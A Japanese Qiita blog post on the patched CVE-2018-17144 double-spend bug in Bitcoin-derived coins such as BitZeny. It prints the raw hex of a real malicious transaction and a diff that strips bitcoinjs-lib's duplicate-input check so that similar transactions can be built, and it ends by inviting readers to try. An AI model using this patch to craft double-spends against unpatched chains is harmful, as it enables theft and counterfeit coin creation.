LoginSignup
0
0

More than 3 years have passed since last update.

[供養] CVE-2018-17144の二重支払いトランザクションを作ってみよう

Posted at

Prologue

YentenとかBitZenyで二重支払いトランザクションが作られて承認され、大変なことになりましたね。

その事態の割に、作り方は難しくないのです。

Analyze

不正トランザクションの一つが、これです。(BitZenyのc0d82bd87257d12106d046be0803f92de55eaa4316912c836ddf9320f2663040のもの)

01000000013ee1bc22e68bb309c6875259e672c2f791af876be6bb76313f5c22a1aa087ae4000000008a473044022067a2edfc50ddc67346770cc3afd600937c69fe2135b2c71e1ff82f5d51e46a1b0220169becbd124ba2acec56a0ca573c661d6e32f87c45c759150afb3f30b41c39070141043ae0fe272e460e9b2c72e42579126142b42cc9d49cc1a00462bcbdf66f50d9ef28f5adfed6d2e4049b275448bbb994360b3eef533906a269837c5bc420cf8a73ffffffff14cef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88accef87710f35a00001976a9143c0be30475baef7da3d1ffbf48fc6b1fc994ff9e88ac00000000

BlockCypherに掛けてみるとこんな感じ

Making

「二重支払い」と言うほどですから、VInに同じUTXOが2つ以上並ぶわけです。そう、これだけ。
どこをどう、とまでは言いませんが、coindを少しいじる必要がありそうです。

bitcoinjs-libで作る場合、以下のパッチを当てて下さい。

bitcoinjs-lib.patch
diff --git a/src/transaction_builder.js b/src/transaction_builder.js
index 5760fac..ee1f8f2 100644
--- a/src/transaction_builder.js
+++ b/src/transaction_builder.js
@@ -560,7 +560,6 @@ TransactionBuilder.prototype.__addInputUnsafe = function (txHash, vout, options)
   }

   var prevTxOut = txHash.toString('hex') + ':' + vout
-  if (this.prevTxMap[prevTxOut] !== undefined) throw new Error('Duplicate TxOut: ' + prevTxOut)

   var input = {}

供養

既に対策されているので、供養として公開します。やりたければ後は頑張って下さい。以上。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0